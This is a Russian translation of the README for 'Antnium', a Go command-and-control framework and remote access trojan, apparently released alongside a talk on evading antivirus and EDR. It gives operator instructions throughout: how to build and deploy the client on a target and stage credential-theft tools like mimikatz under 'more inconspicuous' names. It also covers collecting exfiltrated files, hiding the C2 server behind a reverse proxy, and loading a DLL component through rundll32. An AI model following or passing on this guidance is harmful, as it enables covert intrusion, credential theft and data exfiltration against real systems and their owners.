
C2-фреймворк для первичного доступа на Go
Anti Tanium
C2-фреймворк и RAT, написанные на Go.
This source code is publicly published as reference for my presentation Разработайте свой собственный RAT — защита от AV и EDR. Antnium предназначен для удовлетворения моих собственных требований, а не требований других. Работает для кампаний, которые я проводил, но не обязательно должен быть универсальным C2-фреймворком.
Есть два компонента:
Скачайте и установите go (и git).
Здесь мы используем 127.0.0.1:8080 в качестве домена C2 (localhost, так как мы запускаем и client.exe, и server.exe
на одном хосте). Это также значение по умолчанию, менять ничего не нужно.
Проверьте кампанию в campaign/campaign.go:
serverUrl = "http://127.0.0.1:8080"Соберите его в Windows:
> .\makewin.bat deploy
Соберите его в Linux:
$ make deploy
Запустите сервер и клиент:
cd build\
.\server.exe
.\static\client.exe
Получите доступ к WebUI, открыв следующий URL в браузере после запуска server.exe:
http://localhost:8080/webui/
static/: Общедоступный каталог для инструментовПомещайте туда файлы, которые хотите скачивать на другие машины. Например, client.exe, wingman.exe.
И свои инструменты, например mimikatz.exe или seatbelt.exe. Но используйте более незаметные имена файлов.
Файлы также доступны через API /secure: запрос выполняется с зашифрованными именами файлов, а в ответ возвращается зашифрованный и base64-закодированный файл.
Файлы dotNet можно выполнить, используя опцию выполнения remote (доступна через /secure).
upload/: Приватный каталог для эксфильтрации данныхЗагруженные с клиента файлы будут сохраняться здесь.
Установка Go:
apt install golang gcc-mingw-w64Скомпилируйте client.exe и server.exe:
> .\makewin.bat deploy
Это создаст:
Запустите server.exe:
> cd build
> .\server.exe
Antnium 0.1
Loaded 0 packets from db.packets.json
Loaded 0 clients from db.clients.json
Periodic DB dump enabled
Starting webserver on 127.0.0.1:8080
Запустите client.exe:
> .\build\static\client.exe
Antnium 0.1
time="2021-09-02T21:48:16+02:00" level=info msg="UpstreamHttp: Use WS"
time="2021-09-02T21:48:16+02:00" level=info msg="Connecting to WS succeeded"
time="2021-09-02T21:48:16+02:00" level=info msg=Send 1_computerId=c4oil02sdke2sp3nfngg 2_packetId=0 3_downstreamId=client 4_packetType=ping 5_arguments="map[]" 6_response=...
time="2021-09-02T21:48:16+02:00" level=info msg=Send 1_computerId=c4oil02sdke2sp3nfngg 2_packetId=0 3_downstreamId=client 4_packetType=ping 5_arguments="map[]" 6_response=...
Компиляция Windows-клиента из Linux работает, но требует
некоторого ручного владения командной строкой GO gcc из-за некоторых
зависимостей Windows. Если сразу не работает, скомпилируйте
Windows-клиент в самой Windows (makewin.bat client).
pkg/campaign/campaign.go связывает скомпилированный client.exe с конкретным server.exe, что образует кампанию.
Кампания имеет индивидуальные ключи шифрования и аутентификации, которые являются общими для
сервера и клиента.
type Campaign struct {
ApiKey string // Key used to access client facing REST
EncKey []byte // Key used to encrypt packets between server/client
ServerUrl string // URL of the server, as viewed from the clients
}
А также ключ административного интерфейса / оператора в pkt/server/config.go:
type Config struct {
AdminApiKey string
}
Обратите внимание, что ServerUrl — это URL, используемый клиентом для всего взаимодействия с сервером.
Это публичный URL сервера, например http://totallynotmalware.ch. Фактический server.exe может
находиться за обратным прокси и запускаться с server.exe --listenaddr 127.0.0.1:8080 (поэтому ServerUrl не обязательно равен listenaddr).
При первом подключении к серверу сначала нужно открыть и настроить UI.
Файлы Angular UI общедоступны. Предположим, ServerUrl="http://localhost:8080" и listenaddr=0.0.0.0:8080. Вы можете либо:
http://localhost:8080/webui в вашем браузереng serve из каталога antniumui, а затем открыть http://localhost:4200 в браузереПри подключении к UI в браузере сначала нужно настроить IP сервера и его пароль:
Протестировано на:
Скомпилируйте в Windows:
> .\makewin.bat client
Разверните его на вашей цели.
Протестировано на:
В Linux:
$ make server
$ mkdir -p static upload
$ ./server --listenaddr 0.0.0.0:8080
Результат — server.exe. Убедитесь, что запускаете его в каталоге, где есть или ожидаются:
Он запустит REST-сервер на этом порту, предоставляющий:
/: REST для клиентов/ws: Websocket для клиентов/admin: REST для административного интерфейса (добавление пакета, получение списка клиентов)/adminws: Websocket для административного интерфейса (отправка пакетов)/webui: HTML-файлы для административного интерфейса (исходный код Angular и html, обращается к REST и websocket)Поместите перед ним обратный прокси (убедитесь, что он поддерживает websockets!) или пробросьте порты.
Для ручного прокси используйте полный HTTP URL:
client.exe -proxy http://proxy:8080
или через переменные окружения:
export PROXY http://localhost:8080
./client
Wingman — это, по сути, клиент, но без прямого подключения к C2. Он может подключиться к существующему клиенту на localhost:50000 (убедитесь, что он запущен, если Campaign.AutoStartDownstreams имеет значение false)
Подключается к порту localhost 50000:
wingman.exe
Или используйте rundll32.exe для загрузки dll (64-битная версия rundll32 в system32, а не 32-битная версия в C:\Windows\SysWOW64\rundll32.exe):
C:\Windows\System32\rundll32.exe .\wingman.dll,Start
Он появится как downstream net#0.
go test ./...
Возможны гонки данных. Если тест упадёт один раз, просто выполните его снова.